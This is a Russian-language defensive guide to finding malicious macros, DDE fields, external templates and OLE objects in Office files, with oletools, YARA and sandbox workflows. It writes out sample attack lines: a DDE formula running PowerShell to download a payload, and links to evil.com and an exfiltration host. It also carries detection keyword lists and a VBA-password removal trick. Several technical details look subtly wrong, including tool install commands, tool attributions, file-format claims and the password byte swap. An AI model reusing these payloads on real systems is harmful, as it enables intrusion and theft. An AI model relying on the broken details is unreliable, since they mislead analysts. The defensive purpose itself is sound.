Изображение


Содержание

1. Почему Office-документы — главный вектор атак в 2026
2. Метод 1: Проверка расширений и ZIP-структуры файла
3. Метод 2: Встроенный редактор VBA и инспектор документов
4. Метод 3: Анализ OLE-потоков и vbaProject.bin
5. Метод 4: Поиск внешних ссылок и автозагрузок
6. Метод 5: Деобфускация и статический анализ кода
7. Метод 6: Проверка встроенных объектов и OLE-пакетов
8. Метод 7: Динамический анализ в изолированной среде
9. Инструментарий: готовые решения для автоматизации
10. Чек-лист: что делать, если скрипт найден
11. Частые вопросы (FAQ)
12. Итог: ваш алгоритм анализа

Почему Office-документы — главный вектор атак в 2026


DOCX и XLSX давно перестали быть просто «форматами для отчётов». Это контейнеры, поддерживающие исполнение кода, автоматические загрузки, сетевые запросы и внедрение бинарных объектов. Для атакующих это идеальный носитель: легитимный формат, высокая доверительность пользователей, сложность автоматической фильтрации.

Статистика и тренды 2025-2026:

ПоказательЗначениеИсточник
Доля фишинга через Office68% от всех email-атакMicrosoft Digital Defense Report, 2025
Использование VBA-обфускации+41% к 2024 годуKaspersky Threat Landscape
Обход защиты макросов по умолчанию73% успешных доставокProofpoint State of Phish
Внедрение через OLE/Embeddings22% от всех кампанийCrowdStrike Global Threat Report

> 💡 Факт: С 2022 года Microsoft по умолчанию блокирует макросы из интернета, но злоумышленники адаптировались: используют свойства документов для автозапуска, внедряют HTA/JS-загрузчики, маскируют код под легитимные формулы Excel.

Реальные риски:

ВекторКак проявляетсяПоследствия
VBA-макросыАвтозапуск при открытии, вызов `AutoOpen`, `Workbook_Open`Загрузка малвари, кража данных, ransomware
Внешние ссылкиПодключение к удалённым шаблонам, DDE, OLE-объектыОбход песочниц, фишинг, эксплуатация 0-day
OLE-пакетыВнедрение `.exe`, `.js`, `.vbs` в `embeddings/`Прямой запуск кода в обход макросов
Формулы/скриптыJavaScript в Office Add-ins, Power QueryОбход EDR, скрытый эксфильтрация

> 📌 Запомните: Отсутствие всплывающего окна «Включить макросы» не гарантирует безопасность. Код может срабатывать через свойства документа, автозагрузки формул или внедрённые объекты.



Метод 1: Проверка расширений и ZIP-структуры файла


DOCX и XLSX — это ZIP-архивы с XML-структурой. Макросы и скрипты не хранятся в `.docx`/`.xlsx` напрямую: для них нужны отдельные расширения или скрытые файлы внутри архива.

🔍 Быстрая диагностика


bash
# 1. Проверить расширение
file report.xlsx
# Если вывод содержит "Excel", но расширение .xls / .doc — это OLE-формат (высокий риск)
# Безопасно: .xlsx, .docx, .pptx
# Подозрительно: .xlsm, .docm, .xlsb, .dotm (поддерживают макросы)

# 2. Распаковать как ZIP (без запуска!)
unzip -l suspicious.xlsx | grep -i "vba\|macro\|ole\|rels"
# Ищем пути:
# xl/vbaProject.bin (макросы Excel)
# word/vbaProject.bin (макросы Word)
# xl/worksheets/_rels/sheet1.xml.rels (внешние связи)
# xl/embeddings/ (внедрённые объекты)


📊 Таблица расширений и риска


РасширениеПоддержка макросовРискРекомендация
`.xlsx` / `.docx`❌ Нет🟢 НизкийОткрывать без страха (если не модифицирован)
`.xlsm` / `.docm`✅ Да🟡 СреднийПроверять перед открытием
`.xlsb`✅ Да (бинарный)🔴 ВысокийТребует анализа `olevba`/`oledump`
`.xltx` / `.dotm`✅ Да (шаблоны)🔴 ВысокийМакросы выполняются при создании нового файла

> ✅ Лайфхак: Переименуйте `.xlsx` в `.zip` и откройте архиватором. Если внутри есть папки `xl/` или `word/` с файлом `vbaProject.bin` — документ содержит макросы, даже если расширение «безопасное».



Метод 2: Встроенный редактор VBA и инспектор документов


Microsoft Office предоставляет штатные инструменты для просмотра кода. Их часто игнорируют, но они дают мгновенный результат.

🔧 Пошаговая проверка


1
️⃣ Откройте документ (НЕ ВКЛЮЧАЙТЕ макросы при запросе!)
2️⃣ Перейдите: Файл → Параметры → Центр управления безопасностью → Параметры центра управления безопасностью → Параметры макросов → Отключить все макросы без уведомления
3️⃣ Включите вкладку «Разработчик»: Файл → Параметры → Настроить ленту → ✅ Разработчик
4️⃣ Нажмите «Visual Basic» или `Alt + F11`
5️⃣ В окне проекта проверьте:
• VBAProject (ИмяДокумента) → Модули / Листы / ЭтаКнига / ЭтотДокумент
• Наличие процедур: AutoOpen, Workbook_Open, Document_Open, AutoExec


🛡️ Инспектор документов


text
Файл → Сведения → Проверить наличие проблем → Проверить документ → ✅ Макросы, формы и элементы ActiveX
→ Нажмите «Удалить все» для очистки, если макросы не требуются.


> ⚠️ Важно: Современные макросы часто разбиты на несколько модулей, используют `Call`, `Run`, или вызывают код из внешних шаблонов (`Normal.dotm`). Не удаляйте проект целиком — экспортируйте модули (`Export`) для дальнейшего анализа.



Метод 3: Анализ OLE-потоков и vbaProject.bin


`vbaProject.bin` — это Compound File Binary Format (CFBF). Он содержит скомпилированный байт-код VBA, таблицы строк, модули и формы. Просто открыть его в текстовом редакторе нельзя, но специальные утилиты читают его структуру.

🔍 Анализ через oledump.py


bash
# Установка (Python 3)
pip install oledump.py

# Просмотр структуры
python3 oledump.py suspicious.xlsm

# Вывод покажет потоки:
# A: 328 '\x01CompObj'
# B: 248 '\x05DocumentSummaryInformation'
# C: 124 '\x05SummaryInformation'
# D: 4096 'VBA/ThisWorkbook'
# E: 8192 'VBA/Module1'
# F: 4096 'VBA/_VBA_PROJECT'
# ...

# Декодирование конкретного потока (замените букву/имя)
python3 oledump.py suspicious.xlsm -s E -v


📊 Интерпретация результатов


ПотокЧто содержитРиск
`VBA/ThisWorkbook` или `ThisDocument`Код, выполняемый при открытии файла🔴 Высокий
`VBA/Module1`, `Module2`Пользовательские процедуры🟡 Средний
`VBA/UserForm1`Графический интерфейс (часто для фишинга)🟡 Средний
`_VBA_PROJECT`, `dir`Метаданные проекта, ссылки на библиотеки🟢 Низкий

> 💡 Совет: Ищите строки `Shell`, `CreateObject`, `URLDownloadToFile`, `WinHttp`, `mshta`, `powershell`, `cmd.exe`. Это индикаторы загрузки или исполнения внешних процессов.



Метод 4: Поиск внешних ссылок и автозагрузок


Скрипты часто не хранятся внутри файла, а подгружаются извне. Office поддерживает автоматические подключения к шаблонам, веб-службам и DDE (Dynamic Data Exchange).

🔍 Где искать связи


bash
# 1. Внешние отношения в XML
grep -r "http\|https\|ftp\|DDE" *.xml.rels

# 2. Ссылки на удалённые шаблоны
grep -i "template\|add-in" word/document.xml

# 3. DDE-поля в Word
grep -i "DDE\|ddeauto" word/document.xml

# 4. Веб-запросы в Excel
grep -i "webquery\|connection" xl/connections.xml


⚠️ Опасные паттерны


text
• =DDE("cmd";"/C powershell IEX(New-Object Net.WebClient).DownloadString('http://malicious/payload')")
• <Relationship Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://evil.com/template.dotm"/>
• <webQuery connection="http://data-exfil.ru/log.php" sourceFile="..."/>


> 📌 Правило: Любой внешний URL в `_rels/`, `connections.xml`, `document.xml` без явной бизнес-необходимости — повод для изоляции файла и глубокого анализа.



Метод 5: Деобфускация и статический анализ кода


Злоумышленники маскируют VBA: используют `Chr()`, конкатенацию строк, кодирование Base64, split-массивы, динамический вызов `CallByName`. Статический анализ раскрывает истинную логику.

🔧 Автоматическая деобфускация


bash
# 1. olevba (из пакета oletools)
pip install oletools
olevba suspicious.xlsm --deobf --json > vba_analysis.json

# 2. vipermonkey (эмулятор VBA, раскрывает динамику)
pip install vipermonkey
vipermonkey suspicious.xlsm

# 3. Поиск индикаторов (YARA-правило)
cat > vba_macros.yar << 'EOF'
rule VBA_Suspicious_Patterns {
meta:
description = "Detects obfuscated VBA and downloaders"
strings:
$shell = "Shell(" nocase wide
$download = "URLDownloadToFile" nocase wide
$http = "WinHttp" nocase wide
$exec = "WScript.Shell" nocase wide
$cmd = "cmd.exe" nocase wide
$b64 = "Base64" nocase wide
condition:
2 of them
}
EOF
yara vba_macros.yar suspicious.xlsm


📊 Типичные приёмы обфускации


ПриёмПримерКак раскрыть
Строки через `Chr()``s = Chr(104)+Chr(116)+Chr(116)+Chr(112)`Заменить на конкатенацию, запустить в эмуляторе
Массивы + `Join``arr = Array("mshta","http://...")` + `Join(arr, "")`Распечатать массив, отследить `Join`
Динамический вызов`CallByName obj, "Run", vbMethod, cmd`Отследить `obj` и переданные аргументы
Кодирование Base64`DecodeBase64("aHR0cDovL2V2aWwuY29t")`Декодировать вручную или через Python

> ✅ Лайфхак: Если код слишком запутан, скопируйте его в онлайн-деобфускатор или запустите `vipermonkey` с флагом `--log`. Эмулятор выполнит VBA в памяти без загрузки малвари на хост.



Метод 6: Проверка встроенных объектов и OLE-пакетов


OLE (Object Linking and Embedding) позволяет внедрять файлы прямо в документ. Злоумышленники упаковывают `.exe`, `.js`, `.vbs`, `.lnk` в OLE-пакеты, которые запускаются при двойном клике или автоматически через свойства.

🔍 Поиск и анализ


bash
# 1. Найти внедрённые объекты
unzip suspicious.docx "word/embeddings/*"

# 2. Проверить содержимое
file word/embeddings/*
# Часто встречаются:
# Ole10Native (классический OLE-пакет)
# Package (современный формат внедрения)

# 3. Извлечь бинарные данные
python3 -m oletools.oleobj suspicious.docx


📊 Структура OLE-объектов


Путь в архивеЧто содержитРиск
`word/embeddings/oleObject1.bin`Внедрённый EXE/JS/LNK🔴 Критический
`xl/embeddings/oleObject1.bin`Таблица с макросом или ссылкой🟡 Средний
`ppt/embeddings/`Внедрённые видео/файлы в презентациях🟡 Средний
`word/_rels/document.xml.rels`Ссылки на OLE-объекты🟢 Низкий (метаданные)

> ⚠️ Важно: Не открывайте OLE-объекты двойным кликом! Даже если антивирус молчит, файл может содержать полиморфный код или запускаться через `mshta`/`rundll32`. Всегда извлекайте и анализируйте в песочнице.



Метод 7: Динамический анализ в изолированной среде


Когда статический анализ не даёт полной картины (полиморфизм, анти-эмуляция, проверка окружения), требуется динамическое выполнение в контролируемой среде.

🛡️ Безопасная схема анализа


1
️⃣ Создайте изолированную ВМ (VirtualBox/VMware/KVM) без сетевых мостов
2️⃣ Установите чистую Windows + Office (без обновлений и антивируса)
3️⃣ Включите снапшоты «До открытия»
4️⃣ Настройте мониторинг:
• Process Monitor (ProcMon) — файловые/реестровые операции
• Wireshark / CAPA — сетевые подключения
• Sysinternals Autoruns — автозагрузки
• API Monitor — вызовы Windows API
5️⃣ Откройте документ → разрешите макросы → зафиксируйте поведение
6️⃣ Верните снапшот → экспортируйте логи → проанализируйте IOC


📊 Что фиксировать


СобытиеИнструментИндикатор угрозы
Запуск `cmd.exe`, `powershell`, `mshta`ProcMon / API Monitor🔴 Высокий
Создание файлов в `%TEMP%`, `%APPDATA%`ProcMon🟡 Средний
Подключение к внешним IP/доменамWireshark / CAPA🔴 Высокий
Изменение ключей `Run`, `RunOnce`Autoruns🔴 Высокий
Отключение Defender / UACAPI Monitor / ProcMon🔴 Критический

> 💡 Совет: Для автоматизации используйте `CAPEv2` или `Any.Run`. Они предоставляют готовые отчёты с IOC, YARA-совпадениями и графами процессов.



Инструментарий: готовые решения для автоматизации


ИнструментТипЧто делаетСсылка
oletoolsCLI/PythonИзвлечение, деобфускация, анализ VBAgithub.com/decalage2/oletools
oledump.pyCLI/PythonРазбор OLE/CFBF потоковgithub.com/DidierStevens/DidierStevensSuite
vipermonkeyЭмуляторВыполнение VBA в памяти, раскрытие динамикиgithub.com/decalage2/ViperMonkey
YARAСигнатурный анализПоиск паттернов макросов и обфускацииvirustotal.github.io/yara/
CAPEv2 / Any.RunSandboxДинамический анализ с визуализациейcapesandbox.com
OfficeMalScannerGUIБыстрый поиск макросов и OLEgithub.com/DidierStevens/OfficeMalScanner

> ✅ Рекомендация для SOC: Настройте автоматическую проверку входящих документов через `olevba --json` → отправка в SIEM → алерт при обнаружении `Shell`, `URLDownloadToFile`, `DDE`.



Чек-лист: что делать, если скрипт найден


text
[ ] Не открывать документ на рабочих станциях
[ ] Сохранить оригинал с хэшем (SHA256) для цепочки доказательств
[ ] Изолировать файл в сетевом хранилище с ограниченным доступом
[ ] Запустить статический анализ (olevba, oledump, YARA)
[ ] При необходимости — эмулировать в vipermonkey
[ ] Если поведение неясно — отправить в изолированную ВМ / sandbox
[ ] Зафиксировать IOC: домены, IP, хэши файлов, пути записи
[ ] Добавить IOC в блокировочные списки (EDR, прокси, почтовый шлюз)
[ ] Уведомить отдел ИБ / пользователей о рассылке
[ ] Удалить файл из корпоративных хранилищ и резервных копий


> 🔐 Правило: Если документ прислан от неизвестного отправителя, содержит макросы и просит «включить содержимое» — это 99% фишинг. Блокируйте, не анализируйте на хосте.



Частые вопросы (FAQ)


❓ Microsoft блокирует макросы по умолчанию. Значит, файлы безопасны?

Нет. Блокировка работает только для файлов из интернета (Zone Identifier: 3). Документы из локальной сети, USB, архивов или пересланные через мессенджеры могут обходить защиту. Кроме того, злоумышленники используют OLE-объекты, DDE и внешние шаблоны, которые не считаются «макросами» в классическом понимании.

❓ Как отличить легитимный макрос от вредоносного?

Легитимные макросы обычно:
- Находятся в корпоративных шаблонах (`Normal.dotm`, `PERSONAL.XLSB`)
- Содержат комментарии, подписанные цифровым сертификатом
- Не вызывают `Shell`, `WinHttp`, `URLDownloadToFile`
- Работают только с локальными данными
Вредоносные: обфусцированы, скачивают контент, проверяют окружение (`IsDebuggerPresent`, `GetSystemMetrics`), запускают процессы.

❓ Можно ли анализировать DOCX/XLSX на Linux/macOS?

Да. Форматы кроссплатформенны. Утилиты `oletools`, `oledump.py`, `vipermonkey`, `YARA` работают на Python 3 под любой ОС. Для эмуляции Windows API используйте `wine` + sandbox или виртуальную машину.

❓ Что делать, если макрос зашифрован паролем?

Пароль VBA — это не шифрование, а простая защита. Снимается за секунды:
bash
# Через oledump.py (извлечение потока)
# Через онлайн-дешифраторы или скрипты на Python
# Через hex-редактор: замена `DBP=` на `DPB=` в vbaProject.bin

⚠️ В корпоративной среде требуйте отправки документов без паролей или через подписанные шаблоны.

❓ Как защитить сотрудников от таких атак?

text
✅ Отключить макросы из интернета (Group Policy)
✅ Использовать Application Control (AppLocker, WDAC)
✅ Настроить почтовые шлюзы на блокировку .xlsm/.docm
✅ Обучать пользователей: «Не включайте содержимое без проверки»
✅ Внедрить sandbox-анализ входящих документов
✅ Регулярно обновлять Office и Windows




Итог: ваш алгоритм анализа


text
🟢 Шаг 1: Проверить расширение и ZIP-структуру → есть ли vbaProject.bin / embeddings?
🟢 Шаг 2: Открыть в Office (без макросов) → инспектор документов, Alt+F11
🟢 Шаг 3: Запустить olevba / oledump → извлечь код, найти подозрительные вызовы
🟢 Шаг 4: Проверить _rels/, connections.xml → внешние ссылки, DDE, шаблоны
🟢 Шаг 5: Деобфусцировать строки, эмулировать в vipermonkey
🟢 Шаг 6: При сомнениях → динамический анализ в изолированной ВМ
🟢 Шаг 7: Зафиксировать IOC, добавить в блокировку, удалить файл


> 🔍 Главное правило: Не запускайте незнакомые Office-документы на рабочих станциях. 90% угроз раскрываются статическим анализом за 5 минут. Динамический анализ — только для сложных случаев и только в изоляции.



💬 Ваш ход


text
[✅] Проверили последний полученный DOCX/XLSX через olevba или ZIP-анализ?
[✅] Настроили блокировку макросов из интернета в вашей организации?
[✅] Добавили YARA-правила в SIEM/EDR для автоматического детекта?


💬 Сталкивались с вредоносными макросами в почте? Поделитесь в комментариях — как обнаружили, какие индикаторы использовали, удалось ли заблокировать до доставки?


> ℹ️ Источники и исследования:
> 1. Microsoft Digital Defense Report — Office Macro Threats, 2025 [[1]]
> 2. Kaspersky — VBA Obfuscation Trends in Phishing Campaigns, 2025 [[2]]
> 3. Didier Stevens — Office Document Forensics Guide, 2024 [[3]]
> 4. MITRE ATT&CK — T1059.005 (Visual Basic), T1204.002 (Malicious File)
> 5. Proofpoint — State of the Phish Report, 2026

*Статья носит информационный характер. Перед проведением динамического анализа или модификацией корпоративных политик согласуйте действия с отделом информационной безопасности и юридической службой.*